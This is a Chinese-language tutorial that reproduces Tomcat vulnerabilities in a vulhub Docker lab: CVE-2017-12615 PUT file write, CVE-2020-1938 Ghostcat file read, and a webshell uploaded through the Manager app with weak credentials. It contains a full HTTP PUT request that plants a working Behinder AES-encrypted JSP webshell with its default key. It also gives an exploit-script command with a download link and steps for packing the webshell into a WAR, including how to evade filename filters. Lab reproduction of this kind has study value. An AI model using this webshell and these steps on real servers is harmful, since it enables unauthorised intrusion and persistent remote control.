目录
Tomcat简介
Tomcat是由Apache软件基金会下属的Jakarta项目开发的一个Servlet容器,按照Sun Microsystems提供的技术规范,实现了对Servlet和JavaServer Page(JSP)的支持,并提供了作为Web服务器的一些特有功能,如Tomcat管理和控制平台、安全域管理和Tomcat阀等。由于Tomcat本身也内含了一个HTTP服务器,它也可以被视作一个单独的Web服务器。
Tomcat的目录结构
- bin-----存放Tomcat的脚本文件,例如启动、关闭
- conf----Tomcat的配置文件,例如server.xml和web.xml
- lib-----存放Tomcat运行需要的库文件(JAR包)
- logs----存放Tomcat执行时的LOG文件
- temp----存放Tomcat运行时所产生的临时文件
- webapps-Web发布目录,默认情况下把Web应用文件放于此目录
- work----存放jsp编译后产生的class文件
Tomcat重要文件
- server.xml:配置tomcat启动的端口号、host主机、Context等
- web.xml文件:部署描述文件,这个web.xml中描述了一些默认的servlet。
- tomcat-users.xml:tomcat的用户密码与权限。
环境搭建
- 切换到tomcat相关目录下,部署docker环境
- cd /root/vulhub/tomcat
- 选择自己想要复现的漏洞,切换到该目录下,运行以下命令
- docker-compose build
- docker-compose up -d
- 根据目录下的'README.zh-cn.md'文件提示访问目标网站
漏洞复现
CVE-2017-12615 任意写文件漏洞
漏洞产生原因
- 漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件。
- 虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。
影响版本
Tomcat 7.0.0 ~ 7.0.79
漏洞复现
1.首先访问网站利用burp进行抓包,修改为以下payload
PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends
ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return
super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String
k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码
rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new
SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new
sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equal
s(pageContext);}%>
2.然后利用Repeater模块进行发送 。
3.访问jsp木马所在网站路径,可知木马上传成功。
4.利用冰蝎进行连接,根据返回信息可知,连接成功。
CVE-2020-1938 AJP 文件包含漏洞
漏洞产生原因
由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
影响版本
- Apache Tomcat 9.x < 9.0.31
- Apache Tomcat 8.x < 8.5.51
- Apache Tomcat 7.x < 7.0.100
- Apache Tomcat 6.x
漏洞复现
1.首先访问目标网站,可知Tomcat版本为9.0.30,可判断存在此漏洞。
2.然后使用脚本来读取目标网站web.xml的源代码。
- 脚本地址 链接 :https://pan.baidu.com/s/1kwEZbu1NxITElp-lXXF0wQ 提取码:20w6
- 运行命令:python tomcat.py read_file --wabapp=manager /WEB-INF/web.xml 192.168.31.128
弱口令后台getshell
漏洞复现
首先访问目标网站,然后点击"Manager App",然后输入弱口令账号密码,从而进入后台。
2.进入后台后,我们从此图中红框位置处,存在文件上传漏洞,但是只能上传war文件。
3.制作war包,上传成功后,tomcat就会帮你解压到web目录下,制作包时不要命名war包为shell,getshell等,会被过滤掉。(这里上传的是冰蝎木马)
- jar cvf pass1.war pass1.jsp
4.访问路径
- http://ip:8080/pass1/pass1.jsp
5.利用冰蝎进行连接,根据提示可知连接成功